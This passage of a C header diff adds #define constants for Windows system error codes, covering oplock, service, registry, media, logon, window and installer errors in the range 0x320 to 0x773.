ERROR_OPLOCK_SWITCHED_TO_NEW_HANDLE 0x320 +#define ERROR_CANNOT_GRANT_REQUESTED_OPLOCK 0x321 +#define ERROR_CANNOT_BREAK_OPLOCK 0x322 +#define ERROR_OPLOCK_HANDLE_CLOSED 0x323 +#define ERROR_NO_ACE_CONDITION 0x324 +#define ERROR_INVALID_ACE_CONDITION 0x325 +#define ERROR_FILE_HANDLE_REVOKED 0x326 +#define ERROR_IMAGE_AT_DIFFERENT_BASE 0x327 +#define ERROR_ENCRYPTED_IO_NOT_POSSIBLE 0x328 +#define ERROR_FILE_METADATA_OPTIMIZATION_IN_PROGRESS 0x329 +#define ERROR_QUOTA_ACTIVITY 0x32a +#define ERROR_HANDLE_REVOKED 0x32b +#define ERROR_CALLBACK_INVOKE_INLINE 0x32c +#define ERROR_CPU_SET_INVALID 0x32d +#define ERROR_ENCLAVE_NOT_TERMINATED 0x32e +#define ERROR_ENCLAVE_VIOLATION 0x32f +#define ERROR_SERVER_TRANSPORT_CONFLICT 0x330 +#define ERROR_CERTIFICATE_VALIDATION_PREFERENCE_CONFLICT 0x331 +#define ERROR_FT_READ_FROM_COPY_FAILURE 0x332 +#define ERROR_SECTION_DIRECT_MAP_ONLY 0x333 +#define ERROR_EA_ACCESS_DENIED 0x3e2 +#define ERROR_OPERATION_ABORTED 0x3e3 +#define ERROR_IO_INCOMPLETE 0x3e4 +#define ERROR_IO_PENDING 0x3e5 +#define ERROR_NOACCESS 0x3e6 +#define ERROR_SWAPERROR 0x3e7 +#define ERROR_STACK_OVERFLOW 0x3e9 +#define ERROR_INVALID_MESSAGE 0x3ea +#define ERROR_CAN_NOT_COMPLETE 0x3eb +#define ERROR_INVALID_FLAGS 0x3ec +#define ERROR_UNRECOGNIZED_VOLUME 0x3ed +#define ERROR_FILE_INVALID 0x3ee +#define ERROR_FULLSCREEN_MODE 0x3ef +#define ERROR_NO_TOKEN 0x3f0 +#define ERROR_BADDB 0x3f1 +#define ERROR_BADKEY 0x3f2 +#define ERROR_CANTOPEN 0x3f3 +#define ERROR_CANTREAD 0x3f4 +#define ERROR_CANTWRITE 0x3f5 +#define ERROR_REGISTRY_RECOVERED 0x3f6 +#define ERROR_REGISTRY_CORRUPT 0x3f7 +#define ERROR_REGISTRY_IO_FAILED 0x3f8 +#define ERROR_NOT_REGISTRY_FILE 0x3f9 +#define ERROR_KEY_DELETED 0x3fa +#define ERROR_NO_LOG_SPACE 0x3fb +#define ERROR_KEY_HAS_CHILDREN 0x3fc +#define ERROR_CHILD_MUST_BE_VOLATILE 0x3fd +#define ERROR_NOTIFY_ENUM_DIR 0x3fe +#define ERROR_DEPENDENT_SERVICES_RUNNING 0x41b +#define ERROR_INVALID_SERVICE_CONTROL 0x41c +#define ERROR_SERVICE_REQUEST_TIMEOUT 0x41d +#define ERROR_SERVICE_NO_THREAD 0x41e +#define ERROR_SERVICE_DATABASE_LOCKED 0x41f +#define ERROR_SERVICE_ALREADY_RUNNING 0x420 +#define ERROR_INVALID_SERVICE_ACCOUNT 0x421 +#define ERROR_SERVICE_DISABLED 0x422 +#define ERROR_CIRCULAR_DEPENDENCY 0x423 +#define ERROR_SERVICE_DOES_NOT_EXIST 0x424 +#define ERROR_SERVICE_CANNOT_ACCEPT_CTRL 0x425 +#define ERROR_SERVICE_NOT_ACTIVE 0x426 +#define ERROR_FAILED_SERVICE_CONTROLLER_CONNECT 0x427 +#define ERROR_EXCEPTION_IN_SERVICE 0x428 +#define ERROR_DATABASE_DOES_NOT_EXIST 0x429 +#define ERROR_SERVICE_SPECIFIC_ERROR 0x42a +#define ERROR_PROCESS_ABORTED 0x42b +#define ERROR_SERVICE_DEPENDENCY_FAIL 0x42c +#define ERROR_SERVICE_LOGON_FAILED 0x42d +#define ERROR_SERVICE_START_HANG 0x42e +#define ERROR_INVALID_SERVICE_LOCK 0x42f +#define ERROR_SERVICE_MARKED_FOR_DELETE 0x430 +#define ERROR_SERVICE_EXISTS 0x431 +#define ERROR_ALREADY_RUNNING_LKG 0x432 +#define ERROR_SERVICE_DEPENDENCY_DELETED 0x433 +#define ERROR_BOOT_ALREADY_ACCEPTED 0x434 +#define ERROR_SERVICE_NEVER_STARTED 0x435 +#define ERROR_DUPLICATE_SERVICE_NAME 0x436 +#define ERROR_DIFFERENT_SERVICE_ACCOUNT 0x437 +#define ERROR_CANNOT_DETECT_DRIVER_FAILURE 0x438 +#define ERROR_CANNOT_DETECT_PROCESS_ABORT 0x439 +#define ERROR_NO_RECOVERY_PROGRAM 0x43a +#define ERROR_SERVICE_NOT_IN_EXE 0x43b +#define ERROR_NOT_SAFEBOOT_SERVICE 0x43c +#define ERROR_END_OF_MEDIA 0x44c +#define ERROR_FILEMARK_DETECTED 0x44d +#define ERROR_BEGINNING_OF_MEDIA 0x44e +#define ERROR_SETMARK_DETECTED 0x44f +#define ERROR_NO_DATA_DETECTED 0x450 +#define ERROR_PARTITION_FAILURE 0x451 +#define ERROR_INVALID_BLOCK_LENGTH 0x452 +#define ERROR_DEVICE_NOT_PARTITIONED 0x453 +#define ERROR_UNABLE_TO_LOCK_MEDIA 0x454 +#define ERROR_UNABLE_TO_UNLOAD_MEDIA 0x455 +#define ERROR_MEDIA_CHANGED 0x456 +#define ERROR_BUS_RESET 0x457 +#define ERROR_NO_MEDIA_IN_DRIVE 0x458 +#define ERROR_NO_UNICODE_TRANSLATION 0x459 +#define ERROR_DLL_INIT_FAILED 0x45a +#define ERROR_SHUTDOWN_IN_PROGRESS 0x45b +#define ERROR_NO_SHUTDOWN_IN_PROGRESS 0x45c +#define ERROR_IO_DEVICE 0x45d +#define ERROR_SERIAL_NO_DEVICE 0x45e +#define ERROR_IRQ_BUSY 0x45f +#define ERROR_MORE_WRITES 0x460 +#define ERROR_COUNTER_TIMEOUT 0x461 +#define ERROR_FLOPPY_ID_MARK_NOT_FOUND 0x462 +#define ERROR_FLOPPY_WRONG_CYLINDER 0x463 +#define ERROR_FLOPPY_UNKNOWN_ERROR 0x464 +#define ERROR_FLOPPY_BAD_REGISTERS 0x465 +#define ERROR_DISK_RECALIBRATE_FAILED 0x466 +#define ERROR_DISK_OPERATION_FAILED 0x467 +#define ERROR_DISK_RESET_FAILED 0x468 +#define ERROR_EOM_OVERFLOW 0x469 +#define ERROR_NOT_ENOUGH_SERVER_MEMORY 0x46a +#define ERROR_POSSIBLE_DEADLOCK 0x46b +#define ERROR_MAPPED_ALIGNMENT 0x46c +#define ERROR_SET_POWER_STATE_VETOED 0x474 +#define ERROR_SET_POWER_STATE_FAILED 0x475 +#define ERROR_TOO_MANY_LINKS 0x476 +#define ERROR_OLD_WIN_VERSION 0x47e +#define ERROR_APP_WRONG_OS 0x47f +#define ERROR_SINGLE_INSTANCE_APP 0x480 +#define ERROR_RMODE_APP 0x481 +#define ERROR_INVALID_DLL 0x482 +#define ERROR_NO_ASSOCIATION 0x483 +#define ERROR_DDE_FAIL 0x484 +#define ERROR_DLL_NOT_FOUND 0x485 +#define ERROR_NO_MORE_USER_HANDLES 0x486 +#define ERROR_MESSAGE_SYNC_ONLY 0x487 +#define ERROR_SOURCE_ELEMENT_EMPTY 0x488 +#define ERROR_DESTINATION_ELEMENT_FULL 0x489 +#define ERROR_ILLEGAL_ELEMENT_ADDRESS 0x48a +#define ERROR_MAGAZINE_NOT_PRESENT 0x48b +#define ERROR_DEVICE_REINITIALIZATION_NEEDED 0x48c +#define ERROR_DEVICE_REQUIRES_CLEANING 0x48d +#define ERROR_DEVICE_DOOR_OPEN 0x48e +#define ERROR_DEVICE_NOT_CONNECTED 0x48f +#define ERROR_NOT_FOUND 0x490 +#define ERROR_NO_MATCH 0x491 +#define ERROR_SET_NOT_FOUND 0x492 +#define ERROR_POINT_NOT_FOUND 0x493 +#define ERROR_NO_TRACKING_SERVICE 0x494 +#define ERROR_NO_VOLUME_ID 0x495 +#define ERROR_UNABLE_TO_REMOVE_REPLACED 0x497 +#define ERROR_UNABLE_TO_MOVE_REPLACEMENT 0x498 +#define ERROR_UNABLE_TO_MOVE_REPLACEMENT_2 0x499 +#define ERROR_JOURNAL_DELETE_IN_PROGRESS 0x49a +#define ERROR_JOURNAL_NOT_ACTIVE 0x49b +#define ERROR_POTENTIAL_FILE_FOUND 0x49c +#define ERROR_JOURNAL_ENTRY_DELETED 0x49d +#define ERROR_PARTITION_TERMINATING 0x4a0 +#define ERROR_SHUTDOWN_IS_SCHEDULED 0x4a6 +#define ERROR_SHUTDOWN_USERS_LOGGED_ON 0x4a7 +#define ERROR_SHUTDOWN_DISKS_NOT_IN_MAINTENANCE_MODE 0x4a8 +#define ERROR_BAD_DEVICE 0x4b0 +#define ERROR_CONNECTION_UNAVAIL 0x4b1 +#define ERROR_DEVICE_ALREADY_REMEMBERED 0x4b2 +#define ERROR_NO_NET_OR_BAD_PATH 0x4b3 +#define ERROR_BAD_PROVIDER 0x4b4 +#define ERROR_CANNOT_OPEN_PROFILE 0x4b5 +#define ERROR_BAD_PROFILE 0x4b6 +#define ERROR_NOT_CONTAINER 0x4b7 +#define ERROR_EXTENDED_ERROR 0x4b8 +#define ERROR_INVALID_GROUPNAME 0x4b9 +#define ERROR_INVALID_COMPUTERNAME 0x4ba +#define ERROR_INVALID_EVENTNAME 0x4bb +#define ERROR_INVALID_DOMAINNAME 0x4bc +#define ERROR_INVALID_SERVICENAME 0x4bd +#define ERROR_INVALID_NETNAME 0x4be +#define ERROR_INVALID_SHARENAME 0x4bf +#define ERROR_INVALID_PASSWORDNAME 0x4c0 +#define ERROR_INVALID_MESSAGENAME 0x4c1 +#define ERROR_INVALID_MESSAGEDEST 0x4c2 +#define ERROR_SESSION_CREDENTIAL_CONFLICT 0x4c3 +#define ERROR_REMOTE_SESSION_LIMIT_EXCEEDED 0x4c4 +#define ERROR_DUP_DOMAINNAME 0x4c5 +#define ERROR_NO_NETWORK 0x4c6 +#define ERROR_CANCELLED 0x4c7 +#define ERROR_USER_MAPPED_FILE 0x4c8 +#define ERROR_CONNECTION_REFUSED 0x4c9 +#define ERROR_GRACEFUL_DISCONNECT 0x4ca +#define ERROR_ADDRESS_ALREADY_ASSOCIATED 0x4cb +#define ERROR_ADDRESS_NOT_ASSOCIATED 0x4cc +#define ERROR_CONNECTION_INVALID 0x4cd +#define ERROR_CONNECTION_ACTIVE 0x4ce +#define ERROR_NETWORK_UNREACHABLE 0x4cf +#define ERROR_HOST_UNREACHABLE 0x4d0 +#define ERROR_PROTOCOL_UNREACHABLE 0x4d1 +#define ERROR_PORT_UNREACHABLE 0x4d2 +#define ERROR_REQUEST_ABORTED 0x4d3 +#define ERROR_CONNECTION_ABORTED 0x4d4 +#define ERROR_RETRY 0x4d5 +#define ERROR_CONNECTION_COUNT_LIMIT 0x4d6 +#define ERROR_LOGIN_TIME_RESTRICTION 0x4d7 +#define ERROR_LOGIN_WKSTA_RESTRICTION 0x4d8 +#define ERROR_INCORRECT_ADDRESS 0x4d9 +#define ERROR_ALREADY_REGISTERED 0x4da +#define ERROR_SERVICE_NOT_FOUND 0x4db +#define ERROR_NOT_AUTHENTICATED 0x4dc +#define ERROR_NOT_LOGGED_ON 0x4dd +#define ERROR_CONTINUE 0x4de +#define ERROR_ALREADY_INITIALIZED 0x4df +#define ERROR_NO_MORE_DEVICES 0x4e0 +#define ERROR_NO_SUCH_SITE 0x4e1 +#define ERROR_DOMAIN_CONTROLLER_EXISTS 0x4e2 +#define ERROR_ONLY_IF_CONNECTED 0x4e3 +#define ERROR_OVERRIDE_NOCHANGES 0x4e4 +#define ERROR_BAD_USER_PROFILE 0x4e5 +#define ERROR_NOT_SUPPORTED_ON_SBS 0x4e6 +#define ERROR_SERVER_SHUTDOWN_IN_PROGRESS 0x4e7 +#define ERROR_HOST_DOWN 0x4e8 +#define ERROR_NON_ACCOUNT_SID 0x4e9 +#define ERROR_NON_DOMAIN_SID 0x4ea +#define ERROR_APPHELP_BLOCK 0x4eb +#define ERROR_ACCESS_DISABLED_BY_POLICY 0x4ec +#define ERROR_REG_NAT_CONSUMPTION 0x4ed +#define ERROR_CSCSHARE_OFFLINE 0x4ee +#define ERROR_PKINIT_FAILURE 0x4ef +#define ERROR_SMARTCARD_SUBSYSTEM_FAILURE 0x4f0 +#define ERROR_DOWNGRADE_DETECTED 0x4f1 +#define ERROR_MACHINE_LOCKED 0x4f7 +#define ERROR_SMB_GUEST_LOGON_BLOCKED 0x4f8 +#define ERROR_CALLBACK_SUPPLIED_INVALID_DATA 0x4f9 +#define ERROR_SYNC_FOREGROUND_REFRESH_REQUIRED 0x4fa +#define ERROR_DRIVER_BLOCKED 0x4fb +#define ERROR_INVALID_IMPORT_OF_NON_DLL 0x4fc +#define ERROR_ACCESS_DISABLED_WEBBLADE 0x4fd +#define ERROR_ACCESS_DISABLED_WEBBLADE_TAMPER 0x4fe +#define ERROR_RECOVERY_FAILURE 0x4ff +#define ERROR_ALREADY_FIBER 0x500 +#define ERROR_ALREADY_THREAD 0x501 +#define ERROR_STACK_BUFFER_OVERRUN 0x502 +#define ERROR_PARAMETER_QUOTA_EXCEEDED 0x503 +#define ERROR_DEBUGGER_INACTIVE 0x504 +#define ERROR_DELAY_LOAD_FAILED 0x505 +#define ERROR_VDM_DISALLOWED 0x506 +#define ERROR_UNIDENTIFIED_ERROR 0x507 +#define ERROR_INVALID_CRUNTIME_PARAMETER 0x508 +#define ERROR_BEYOND_VDL 0x509 +#define ERROR_INCOMPATIBLE_SERVICE_SID_TYPE 0x50a +#define ERROR_DRIVER_PROCESS_TERMINATED 0x50b +#define ERROR_IMPLEMENTATION_LIMIT 0x50c +#define ERROR_PROCESS_IS_PROTECTED 0x50d +#define ERROR_SERVICE_NOTIFY_CLIENT_LAGGING 0x50e +#define ERROR_DISK_QUOTA_EXCEEDED 0x50f +#define ERROR_CONTENT_BLOCKED 0x510 +#define ERROR_INCOMPATIBLE_SERVICE_PRIVILEGE 0x511 +#define ERROR_APP_HANG 0x512 +#define ERROR_INVALID_LABEL 0x513 +#define ERROR_NOT_ALL_ASSIGNED 0x514 +#define ERROR_SOME_NOT_MAPPED 0x515 +#define ERROR_NO_QUOTAS_FOR_ACCOUNT 0x516 +#define ERROR_LOCAL_USER_SESSION_KEY 0x517 +#define ERROR_NULL_LM_PASSWORD 0x518 +#define ERROR_UNKNOWN_REVISION 0x519 +#define ERROR_REVISION_MISMATCH 0x51a +#define ERROR_INVALID_OWNER 0x51b +#define ERROR_INVALID_PRIMARY_GROUP 0x51c +#define ERROR_NO_IMPERSONATION_TOKEN 0x51d +#define ERROR_CANT_DISABLE_MANDATORY 0x51e +#define ERROR_NO_LOGON_SERVERS 0x51f +#define ERROR_NO_SUCH_LOGON_SESSION 0x520 +#define ERROR_NO_SUCH_PRIVILEGE 0x521 +#define ERROR_PRIVILEGE_NOT_HELD 0x522 +#define ERROR_INVALID_ACCOUNT_NAME 0x523 +#define ERROR_USER_EXISTS 0x524 +#define ERROR_NO_SUCH_USER 0x525 +#define ERROR_GROUP_EXISTS 0x526 +#define ERROR_NO_SUCH_GROUP 0x527 +#define ERROR_MEMBER_IN_GROUP 0x528 +#define ERROR_MEMBER_NOT_IN_GROUP 0x529 +#define ERROR_LAST_ADMIN 0x52a +#define ERROR_WRONG_PASSWORD 0x52b +#define ERROR_ILL_FORMED_PASSWORD 0x52c +#define ERROR_PASSWORD_RESTRICTION 0x52d +#define ERROR_LOGON_FAILURE 0x52e +#define ERROR_ACCOUNT_RESTRICTION 0x52f +#define ERROR_INVALID_LOGON_HOURS 0x530 +#define ERROR_INVALID_WORKSTATION 0x531 +#define ERROR_PASSWORD_EXPIRED 0x532 +#define ERROR_ACCOUNT_DISABLED 0x533 +#define ERROR_NONE_MAPPED 0x534 +#define ERROR_TOO_MANY_LUIDS_REQUESTED 0x535 +#define ERROR_LUIDS_EXHAUSTED 0x536 +#define ERROR_INVALID_SUB_AUTHORITY 0x537 +#define ERROR_INVALID_ACL 0x538 +#define ERROR_INVALID_SID 0x539 +#define ERROR_INVALID_SECURITY_DESCR 0x53a +#define ERROR_BAD_INHERITANCE_ACL 0x53c +#define ERROR_SERVER_DISABLED 0x53d +#define ERROR_SERVER_NOT_DISABLED 0x53e +#define ERROR_INVALID_ID_AUTHORITY 0x53f +#define ERROR_ALLOTTED_SPACE_EXCEEDED 0x540 +#define ERROR_INVALID_GROUP_ATTRIBUTES 0x541 +#define ERROR_BAD_IMPERSONATION_LEVEL 0x542 +#define ERROR_CANT_OPEN_ANONYMOUS 0x543 +#define ERROR_BAD_VALIDATION_CLASS 0x544 +#define ERROR_BAD_TOKEN_TYPE 0x545 +#define ERROR_NO_SECURITY_ON_OBJECT 0x546 +#define ERROR_CANT_ACCESS_DOMAIN_INFO 0x547 +#define ERROR_INVALID_SERVER_STATE 0x548 +#define ERROR_INVALID_DOMAIN_STATE 0x549 +#define ERROR_INVALID_DOMAIN_ROLE 0x54a +#define ERROR_NO_SUCH_DOMAIN 0x54b +#define ERROR_DOMAIN_EXISTS 0x54c +#define ERROR_DOMAIN_LIMIT_EXCEEDED 0x54d +#define ERROR_INTERNAL_DB_CORRUPTION 0x54e +#define ERROR_INTERNAL_ERROR 0x54f +#define ERROR_GENERIC_NOT_MAPPED 0x550 +#define ERROR_BAD_DESCRIPTOR_FORMAT 0x551 +#define ERROR_NOT_LOGON_PROCESS 0x552 +#define ERROR_LOGON_SESSION_EXISTS 0x553 +#define ERROR_NO_SUCH_PACKAGE 0x554 +#define ERROR_BAD_LOGON_SESSION_STATE 0x555 +#define ERROR_LOGON_SESSION_COLLISION 0x556 +#define ERROR_INVALID_LOGON_TYPE 0x557 +#define ERROR_CANNOT_IMPERSONATE 0x558 +#define ERROR_RXACT_INVALID_STATE 0x559 +#define ERROR_RXACT_COMMIT_FAILURE 0x55a +#define ERROR_SPECIAL_ACCOUNT 0x55b +#define ERROR_SPECIAL_GROUP 0x55c +#define ERROR_SPECIAL_USER 0x55d +#define ERROR_MEMBERS_PRIMARY_GROUP 0x55e +#define ERROR_TOKEN_ALREADY_IN_USE 0x55f +#define ERROR_NO_SUCH_ALIAS 0x560 +#define ERROR_MEMBER_NOT_IN_ALIAS 0x561 +#define ERROR_MEMBER_IN_ALIAS 0x562 +#define ERROR_ALIAS_EXISTS 0x563 +#define ERROR_LOGON_NOT_GRANTED 0x564 +#define ERROR_TOO_MANY_SECRETS 0x565 +#define ERROR_SECRET_TOO_LONG 0x566 +#define ERROR_INTERNAL_DB_ERROR 0x567 +#define ERROR_TOO_MANY_CONTEXT_IDS 0x568 +#define ERROR_LOGON_TYPE_NOT_GRANTED 0x569 +#define ERROR_NT_CROSS_ENCRYPTION_REQUIRED 0x56a +#define ERROR_NO_SUCH_MEMBER 0x56b +#define ERROR_INVALID_MEMBER 0x56c +#define ERROR_TOO_MANY_SIDS 0x56d +#define ERROR_LM_CROSS_ENCRYPTION_REQUIRED 0x56e +#define ERROR_NO_INHERITANCE 0x56f +#define ERROR_FILE_CORRUPT 0x570 +#define ERROR_DISK_CORRUPT 0x571 +#define ERROR_NO_USER_SESSION_KEY 0x572 +#define ERROR_LICENSE_QUOTA_EXCEEDED 0x573 +#define ERROR_WRONG_TARGET_NAME 0x574 +#define ERROR_MUTUAL_AUTH_FAILED 0x575 +#define ERROR_TIME_SKEW 0x576 +#define ERROR_CURRENT_DOMAIN_NOT_ALLOWED 0x577 +#define ERROR_INVALID_WINDOW_HANDLE 0x578 +#define ERROR_INVALID_MENU_HANDLE 0x579 +#define ERROR_INVALID_CURSOR_HANDLE 0x57a +#define ERROR_INVALID_ACCEL_HANDLE 0x57b +#define ERROR_INVALID_HOOK_HANDLE 0x57c +#define ERROR_INVALID_DWP_HANDLE 0x57d +#define ERROR_TLW_WITH_WSCHILD 0x57e +#define ERROR_CANNOT_FIND_WND_CLASS 0x57f +#define ERROR_WINDOW_OF_OTHER_THREAD 0x580 +#define ERROR_HOTKEY_ALREADY_REGISTERED 0x581 +#define ERROR_CLASS_ALREADY_EXISTS 0x582 +#define ERROR_CLASS_DOES_NOT_EXIST 0x583 +#define ERROR_CLASS_HAS_WINDOWS 0x584 +#define ERROR_INVALID_INDEX 0x585 +#define ERROR_INVALID_ICON_HANDLE 0x586 +#define ERROR_PRIVATE_DIALOG_INDEX 0x587 +#define ERROR_LISTBOX_ID_NOT_FOUND 0x588 +#define ERROR_NO_WILDCARD_CHARACTERS 0x589 +#define ERROR_CLIPBOARD_NOT_OPEN 0x58a +#define ERROR_HOTKEY_NOT_REGISTERED 0x58b +#define ERROR_WINDOW_NOT_DIALOG 0x58c +#define ERROR_CONTROL_ID_NOT_FOUND 0x58d +#define ERROR_INVALID_COMBOBOX_MESSAGE 0x58e +#define ERROR_WINDOW_NOT_COMBOBOX 0x58f +#define ERROR_INVALID_EDIT_HEIGHT 0x590 +#define ERROR_DC_NOT_FOUND 0x591 +#define ERROR_INVALID_HOOK_FILTER 0x592 +#define ERROR_INVALID_FILTER_PROC 0x593 +#define ERROR_HOOK_NEEDS_HMOD 0x594 +#define ERROR_GLOBAL_ONLY_HOOK 0x595 +#define ERROR_JOURNAL_HOOK_SET 0x596 +#define ERROR_HOOK_NOT_INSTALLED 0x597 +#define ERROR_INVALID_LB_MESSAGE 0x598 +#define ERROR_SETCOUNT_ON_BAD_LB 0x599 +#define ERROR_LB_WITHOUT_TABSTOPS 0x59a +#define ERROR_DESTROY_OBJECT_OF_OTHER_THREAD 0x59b +#define ERROR_CHILD_WINDOW_MENU 0x59c +#define ERROR_NO_SYSTEM_MENU 0x59d +#define ERROR_INVALID_MSGBOX_STYLE 0x59e +#define ERROR_INVALID_SPI_VALUE 0x59f +#define ERROR_SCREEN_ALREADY_LOCKED 0x5a0 +#define ERROR_HWNDS_HAVE_DIFF_PARENT 0x5a1 +#define ERROR_NOT_CHILD_WINDOW 0x5a2 +#define ERROR_INVALID_GW_COMMAND 0x5a3 +#define ERROR_INVALID_THREAD_ID 0x5a4 +#define ERROR_NON_MDICHILD_WINDOW 0x5a5 +#define ERROR_POPUP_ALREADY_ACTIVE 0x5a6 +#define ERROR_NO_SCROLLBARS 0x5a7 +#define ERROR_INVALID_SCROLLBAR_RANGE 0x5a8 +#define ERROR_INVALID_SHOWWIN_COMMAND 0x5a9 +#define ERROR_NO_SYSTEM_RESOURCES 0x5aa +#define ERROR_NONPAGED_SYSTEM_RESOURCES 0x5ab +#define ERROR_PAGED_SYSTEM_RESOURCES 0x5ac +#define ERROR_WORKING_SET_QUOTA 0x5ad +#define ERROR_PAGEFILE_QUOTA 0x5ae +#define ERROR_COMMITMENT_LIMIT 0x5af +#define ERROR_MENU_ITEM_NOT_FOUND 0x5b0 +#define ERROR_INVALID_KEYBOARD_HANDLE 0x5b1 +#define ERROR_HOOK_TYPE_NOT_ALLOWED 0x5b2 +#define ERROR_REQUIRES_INTERACTIVE_WINDOWSTATION 0x5b3 +#define ERROR_TIMEOUT 0x5b4 +#define ERROR_INVALID_MONITOR_HANDLE 0x5b5 +#define ERROR_INCORRECT_SIZE 0x5b6 +#define ERROR_SYMLINK_CLASS_DISABLED 0x5b7 +#define ERROR_SYMLINK_NOT_SUPPORTED 0x5b8 +#define ERROR_XML_PARSE_ERROR 0x5b9 +#define ERROR_XMLDSIG_ERROR 0x5ba +#define ERROR_RESTART_APPLICATION 0x5bb +#define ERROR_WRONG_COMPARTMENT 0x5bc +#define ERROR_AUTHIP_FAILURE 0x5bd +#define ERROR_NO_NVRAM_RESOURCES 0x5be +#define ERROR_NOT_GUI_PROCESS 0x5bf +#define ERROR_EVENTLOG_FILE_CORRUPT 0x5dc +#define ERROR_EVENTLOG_CANT_START 0x5dd +#define ERROR_LOG_FILE_FULL 0x5de +#define ERROR_EVENTLOG_FILE_CHANGED 0x5df +#define ERROR_CONTAINER_ASSIGNED 0x5e0 +#define ERROR_JOB_NO_CONTAINER 0x5e1 +#define ERROR_INVALID_TASK_NAME 0x60e +#define ERROR_INVALID_TASK_INDEX 0x60f +#define ERROR_THREAD_ALREADY_IN_TASK 0x610 +#define ERROR_INSTALL_SERVICE_FAILURE 0x641 +#define ERROR_INSTALL_USEREXIT 0x642 +#define ERROR_INSTALL_FAILURE 0x643 +#define ERROR_INSTALL_SUSPEND 0x644 +#define ERROR_UNKNOWN_PRODUCT 0x645 +#define ERROR_UNKNOWN_FEATURE 0x646 +#define ERROR_UNKNOWN_COMPONENT 0x647 +#define ERROR_UNKNOWN_PROPERTY 0x648 +#define ERROR_INVALID_HANDLE_STATE 0x649 +#define ERROR_BAD_CONFIGURATION 0x64a +#define ERROR_INDEX_ABSENT 0x64b +#define ERROR_INSTALL_SOURCE_ABSENT 0x64c +#define ERROR_INSTALL_PACKAGE_VERSION 0x64d +#define ERROR_PRODUCT_UNINSTALLED 0x64e +#define ERROR_BAD_QUERY_SYNTAX 0x64f +#define ERROR_INVALID_FIELD 0x650 +#define ERROR_DEVICE_REMOVED 0x651 +#define ERROR_INSTALL_ALREADY_RUNNING 0x652 +#define ERROR_INSTALL_PACKAGE_OPEN_FAILED 0x653 +#define ERROR_INSTALL_PACKAGE_INVALID 0x654 +#define ERROR_INSTALL_UI_FAILURE 0x655 +#define ERROR_INSTALL_LOG_FAILURE 0x656 +#define ERROR_INSTALL_LANGUAGE_UNSUPPORTED 0x657 +#define ERROR_INSTALL_TRANSFORM_FAILURE 0x658 +#define ERROR_INSTALL_PACKAGE_REJECTED 0x659 +#define ERROR_FUNCTION_NOT_CALLED 0x65a +#define ERROR_FUNCTION_FAILED 0x65b +#define ERROR_INVALID_TABLE 0x65c +#define ERROR_DATATYPE_MISMATCH 0x65d +#define ERROR_UNSUPPORTED_TYPE 0x65e +#define ERROR_CREATE_FAILED 0x65f +#define ERROR_INSTALL_TEMP_UNWRITABLE 0x660 +#define ERROR_INSTALL_PLATFORM_UNSUPPORTED 0x661 +#define ERROR_INSTALL_NOTUSED 0x662 +#define ERROR_PATCH_PACKAGE_OPEN_FAILED 0x663 +#define ERROR_PATCH_PACKAGE_INVALID 0x664 +#define ERROR_PATCH_PACKAGE_UNSUPPORTED 0x665 +#define ERROR_PRODUCT_VERSION 0x666 +#define ERROR_INVALID_COMMAND_LINE 0x667 +#define ERROR_INSTALL_REMOTE_DISALLOWED 0x668 +#define ERROR_SUCCESS_REBOOT_INITIATED 0x669 +#define ERROR_PATCH_TARGET_NOT_FOUND 0x66a +#define ERROR_PATCH_PACKAGE_REJECTED 0x66b +#define ERROR_INSTALL_TRANSFORM_REJECTED 0x66c +#define ERROR_INSTALL_REMOTE_PROHIBITED 0x66d +#define ERROR_PATCH_REMOVAL_UNSUPPORTED 0x66e +#define ERROR_UNKNOWN_PATCH 0x66f +#define ERROR_PATCH_NO_SEQUENCE 0x670 +#define ERROR_PATCH_REMOVAL_DISALLOWED 0x671 +#define ERROR_INVALID_PATCH_XML 0x672 +#define ERROR_PATCH_MANAGED_ADVERTISED_PRODUCT 0x673 +#define ERROR_INSTALL_SERVICE_SAFEBOOT 0x674 +#define ERROR_FAIL_FAST_EXCEPTION 0x675 +#define ERROR_INSTALL_REJECTED 0x676 +#define ERROR_DYNAMIC_CODE_BLOCKED 0x677 +#define ERROR_NOT_SAME_OBJECT 0x678 +#define ERROR_STRICT_CFG_VIOLATION 0x679 +#define ERROR_SET_CONTEXT_DENIED 0x67c +#define ERROR_CROSS_PARTITION_VIOLATION 0x67d +#define ERROR_RETURN_ADDRESS_HIJACK_ATTEMPT 0x67e +#define ERROR_INVALID_USER_BUFFER 0x6f8 +#define ERROR_UNRECOGNIZED_MEDIA 0x6f9 +#define ERROR_NO_TRUST_LSA_SECRET 0x6fa +#define ERROR_NO_TRUST_SAM_ACCOUNT 0x6fb +#define ERROR_TRUSTED_DOMAIN_FAILURE 0x6fc +#define ERROR_TRUSTED_RELATIONSHIP_FAILURE 0x6fd +#define ERROR_TRUST_FAILURE 0x6fe +#define ERROR_NETLOGON_NOT_STARTED 0x700 +#define ERROR_ACCOUNT_EXPIRED 0x701 +#define ERROR_REDIRECTOR_HAS_OPEN_HANDLES 0x702 +#define ERROR_PRINTER_DRIVER_ALREADY_INSTALLED 0x703 +#define ERROR_UNKNOWN_PORT 0x704 +#define ERROR_UNKNOWN_PRINTER_DRIVER 0x705 +#define ERROR_UNKNOWN_PRINTPROCESSOR 0x706 +#define ERROR_INVALID_SEPARATOR_FILE 0x707 +#define ERROR_INVALID_PRIORITY 0x708 +#define ERROR_INVALID_PRINTER_NAME 0x709 +#define ERROR_PRINTER_ALREADY_EXISTS 0x70a +#define ERROR_INVALID_PRINTER_COMMAND 0x70b +#define ERROR_INVALID_DATATYPE 0x70c +#define ERROR_INVALID_ENVIRONMENT 0x70d +#define ERROR_NOLOGON_INTERDOMAIN_TRUST_ACCOUNT 0x70f +#define ERROR_NOLOGON_WORKSTATION_TRUST_ACCOUNT 0x710 +#define ERROR_NOLOGON_SERVER_TRUST_ACCOUNT 0x711 +#define ERROR_DOMAIN_TRUST_INCONSISTENT 0x712 +#define ERROR_SERVER_HAS_OPEN_HANDLES 0x713 +#define ERROR_RESOURCE_DATA_NOT_FOUND 0x714 +#define ERROR_RESOURCE_TYPE_NOT_FOUND 0x715 +#define ERROR_RESOURCE_NAME_NOT_FOUND 0x716 +#define ERROR_RESOURCE_LANG_NOT_FOUND 0x717 +#define ERROR_NOT_ENOUGH_QUOTA 0x718 +#define ERROR_INVALID_TIME 0x76d +#define ERROR_INVALID_FORM_NAME 0x76e +#define ERROR_INVALID_FORM_SIZE 0x76f +#define ERROR_ALREADY_WAITING 0x770 +#define ERROR_PRINTER_DELETED 0x771 +#define ERROR_INVALID_PRINTER_STATE 0x772 +#define ERROR_PASSWORD_MUST_CHANGE 0x773 +#define 